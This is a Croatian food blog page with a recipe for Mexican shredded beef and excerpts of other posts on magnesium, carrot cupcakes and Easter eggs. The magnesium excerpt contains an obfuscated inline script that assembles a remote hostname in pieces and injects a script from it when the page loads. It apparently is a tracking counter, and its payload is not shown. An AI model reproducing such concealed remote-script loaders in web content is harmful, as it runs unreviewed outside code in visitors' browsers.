MEKSIČKA TRGANA GOVEDINA




Meksička trgana govedina 



Jela od trgane govedine dio su stoljetne tradicije u sjevernom i središnjem Meksiku. Nastala su kako bi se iskoristili tvrđi i jeftiniji komadi mesa koji bi dugim kuhanjem postajali mekani i puni okusa. Tradicionalna barbacoa pripremala se satima u glinenim posudama, a bila je neizostavna na obiteljskim okupljanjima i proslavama.





Meksička trgana govedina 


Sastojci:

  • 1,4 kg goveđeg vrata ili prsa
  • 1 velika glavica luka, sitno nasjeckana
  • 4 češnja češnjaka, usitnjena
  • 240 ml goveđeg temeljca
  • 400 g sjeckane rajčice iz konzerve
  • 2 papričice chipotle u umaku adobo
  • 1 čajna žličica mljevenog kumina
  • 1 čajna žličica dimljene crvene paprike
  • 1 čajna žličica praha čilija
  • 1 čajna žličica origana
  • 1 čajna žličica soli
  • 1/2 čajne žličice svježe mljevenog crnog papra
  • 2 žlice maslinova ulja



Priprema:

  1. Uklonite višak masnoće s mesa i narežite ga na 3 do 4 veća komada kako bi se ravnomjerno skuhalo. Posolite i popaprite sa svih strana.
  2. U velikoj tavi ili gusenoj posudi zagrijte maslinovo ulje na srednje jakoj vatri. Meso pecite sa svih strana 2 do 3 minute, dok ne dobije lijepu zlatnosmeđu koricu. Ovaj korak daje jelu dodatnu dubinu okusa pa ga nemojte preskakati. Izvadite meso i ostavite sa strane.
  3. U istoj posudi kratko pirjajte luk oko 3 minute, dok ne omekša. Dodajte češnjak i nastavite pirjati još minutu, dok ne zamiriše.
  4. U lonac, sporo kuhalo ili gusenu posudu stavite zapečeno meso, luk, češnjak, temeljac, rajčice, papričice chipotle te sve začine. Lagano promiješajte kako bi se sastojci povezali.
  5. Na štednjaku ili u pećnici kuhajte poklopljeno na laganoj vatri 3 do 4 sata. Povremeno provjerite ima li dovoljno tekućine i po potrebi dodajte malo temeljca.
  6. Kada meso postane toliko mekano da se lako razdvaja vilicom, izvadite ga iz umaka. Pomoću dvije vilice usitnite ga na tanke trakice, a zatim ga vratite u umak kako bi upilo sve sokove i arome.
  7. Poslužite u toplim tortiljama kao tacose, u burritosima ili uz kuhanu rižu. Odlično se slaže s avokadom, svježim korijandrom, crvenim lukom i kriškama limete.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više